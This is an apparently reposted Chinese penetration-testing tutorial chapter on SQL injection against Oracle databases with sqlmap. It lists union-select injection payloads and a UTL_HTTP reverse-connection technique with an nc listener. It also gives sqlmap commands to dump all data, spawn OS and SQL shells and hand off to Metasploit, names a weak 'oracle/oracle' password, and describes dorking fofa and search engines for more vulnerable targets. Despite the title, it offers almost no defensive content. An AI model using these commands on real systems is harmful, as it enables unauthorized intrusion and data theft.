sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御
Posted 白帽安全技术复现
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御相关的知识,希望对你有一定的参考价值。
5.4 使用sqlmap进行Oracle数据库注入与防御
5.4.1 Oracle数据库注入基础
1.SQL注入点判断
and 1=1 和 and 1=2
2. 判断数据库为Oracle
(1) 出错信息显示Oracle
(2) 通过注释符号来判断
(3) 多行查询判断,Oracle不支持多行查询
3. 获取基本信息
(1) 获取字段数,可以使用order by N根据返回的页面判断
(2) and 1=2 union select 1,2, (select banner from sys.v_$version where rownum=1), 4,5,6 from dual
(3) 获取数据库连接的用户名
and 1=2 union select 1,2 ( select SYS_CONTEXT(\'USERENV\', \'CURRENT_USER\') from dual), 4,5,6 from dual
(4) 获取日志的绝对路径
4. 猜测数据库,表和列名
(1) 爆出数据库明
(2) 爆表名
(3) 爆字段名
5. Oracle注入过程的特性
(1) 字段类型必须确定
(2) UTL_HTTP存储过程反弹注入
* 判断UTL_HTTP存储过程是否可用
* 本地执行nc监听端口
* 注入点执行
(3) 系统特性
(4) 创建远程连接账号
(5) 命令执行
6. Oracle数据库导出
(1) 登录服务器
ssh 22.2.33.3
内网中的弱口令oracle/oracle
(2) 在ssh中执行
7. Oracle数据库导入
(1) 执行sqlpuls
sqlpuls /nolog
(2) 以DBA进行连接
conn /as sysdba;
(3) 创建需要导入的表空间
create tablespace spms
datafile=\'d:\\xx\\xx\\spms.dbf\'
size 50m
autoextend on;
(4) 创建用户
create user dbms identified by bmfxheihei;
(5) 授予权限
(6) 导入数据库
imp dbms/bmfxheihei@dbms full=y file=d:\\dbmx.tmp ignore=y
https://www.cnblogs.com/peterpan0707007/p/8242119.html
5.4.2 使用sqlmap进行Oracle数据库注入命令
1. 需要安装Oracle支持模块cx_Oracle
(1) 源码下载
git clone https://github.com/oracle/python-cx_oracle
(2) 使用pip命令安装
python -m pip install cx_Oracle --upgrade
(3) Windows下安装
2. 数据库命令直连
sqlmap.py -d oracle://User:Password@DBMS_IP:DBMS_PORT/DATABASE_SID
(1) sqlmap.py -u url -f --current-user --current-db --hostname --batch
(2) sqlmap.py -u url --password --privileges --roles --users --is-dba --batch
(3) sqlmap.py -u url --exclude-sysdbs --schema --dbs --batch
(4) sqlmap.py -u url -D dbname --table
(5) sqlmap.py -u url -D dbname --count
(6) sqlmap.py -u url -D dbname -T manage --columns
(7) 导出manager表数据及所有数据
sqlmap.py -u url -D dbname -T manager --dump
sqlmap.py -u url -D dbname --dump-all
(8) SQL shell ,查询及文件
sqlmap.py -u url --sql-query="sql语句"
sqlmap.py -u url --sql-shell
sqlmap.py -u url --sql-file="具体文件"
(9) os命令及提权
sqlmap.py -u url --os-cmd id
sqlmap.py -u url --os-shell
(10) MSF协助渗透
sqlmap.py -u url --os-pwn --msf-paht /software/metasploit
(11) 向导模式开展测试
sqlmap.py -u url --wizard
(12) Oracle命令行提权
5.4.3 使用AWVS进行漏洞扫描
1. 使用AWVS扫描URL
5.4.4 SQL盲注漏洞利用
1. 使用sqlmap检测request数据是否存在SQL注入
sqlmap.py -r /root/bmfx.txt
2. 使用sqlmap检测出SQL注入点所在的数据库类型
3. 获取具体的漏洞类型及payload
4. 注意事项
(1) 有的注入点可能是扫描工具扫描出来的结果,显示存在SQL注入,但是实际测试发现并非存在,无法利用的现象,像这类是误报
(2) 使用sqlmap进行测试时,尽量做全部的测试,有的注入点可能存在多种类型的SQL注入,测试结束之后,可以选择一个速度最快的方式进行快速注入
(3) sqlmap中可以使用--batch自动提交参数
(4) 可以使用-o参数进行优化
(5) 发现SQL注入点无法通过sqlmap进行后续工作的时候,可以尝试使用其他注入工具对注入点进行测试
5. 延伸漏洞挖掘
(1) 使用fofa网站进行关键字检索扩展漏洞目标,例如:custLoginAction.do
(2) 使用百度等搜索引擎进行Google黑客扩展目标,例如:inurl:custLoginAction.do
参考:
http://www.secist.com/archives/448.html
https://www.jianshu.com/p/30c216960bdd
https://blog.csdn.net/csacs/article/details/90145501
https://blog.csdn.net/st415/article/details/78118382
实战测试环境,参考如下:
https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe
以上是关于sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御的主要内容,如果未能解决你的问题,请参考以下文章
网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入
《Python从入门到实践》--第五章 各种情形下使用if语句 课后练习